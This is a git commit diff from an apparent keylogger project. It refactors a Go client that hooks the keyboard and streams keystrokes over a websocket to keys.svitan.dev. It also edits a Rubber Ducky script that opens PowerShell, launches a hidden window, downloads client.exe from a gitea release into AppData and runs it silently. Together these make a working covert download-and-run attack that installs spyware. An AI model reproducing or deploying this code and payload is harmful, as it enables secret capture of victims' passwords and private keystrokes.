🚧 Moves most of logic in ducky script into one block
This commit is contained in:
parent
b955fec1ad
commit
df143bc186
@ -1,9 +0,0 @@
|
|||||||
package main
|
|
||||||
|
|
||||||
import "github.com/google/uuid"
|
|
||||||
|
|
||||||
func getId() uuid.UUID {
|
|
||||||
return uuid.New()
|
|
||||||
}
|
|
||||||
|
|
||||||
func registerAutostart() {}
|
|
@ -7,6 +7,7 @@ import (
|
|||||||
"runtime"
|
"runtime"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
hook "github.com/robotn/gohook"
|
hook "github.com/robotn/gohook"
|
||||||
)
|
)
|
||||||
@ -22,9 +23,9 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
var id = getId()
|
var id = uuid.New()
|
||||||
if runtime.GOOS == "windows" {
|
if runtime.GOOS == "windows" {
|
||||||
registerAutostart()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
|
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
|
||||||
|
14
keys.txt
14
keys.txt
@ -1,15 +1,17 @@
|
|||||||
REM open powershell
|
REM open powershell
|
||||||
GUI r
|
WINDOWS r
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
STRING powershell
|
STRING powershell
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 2000
|
DELAY 3000
|
||||||
|
|
||||||
|
REM run rest in background
|
||||||
|
STRING powershell.exe -WindowStyle hidden {
|
||||||
|
STRING $OpDir = "$(pwd)\AppData\Local\keys";
|
||||||
|
|
||||||
REM download client.exe file
|
REM download client.exe file
|
||||||
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile .\AppData\Local\Temp\keys.exe
|
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
|
||||||
ENTER
|
|
||||||
DELAY 15000
|
|
||||||
|
|
||||||
REM client.exe file (closes automatically)
|
REM client.exe file (closes automatically)
|
||||||
STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow }
|
STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
|
||||||
ENTER
|
ENTER
|
||||||
|
Loading…
x
Reference in New Issue
Block a user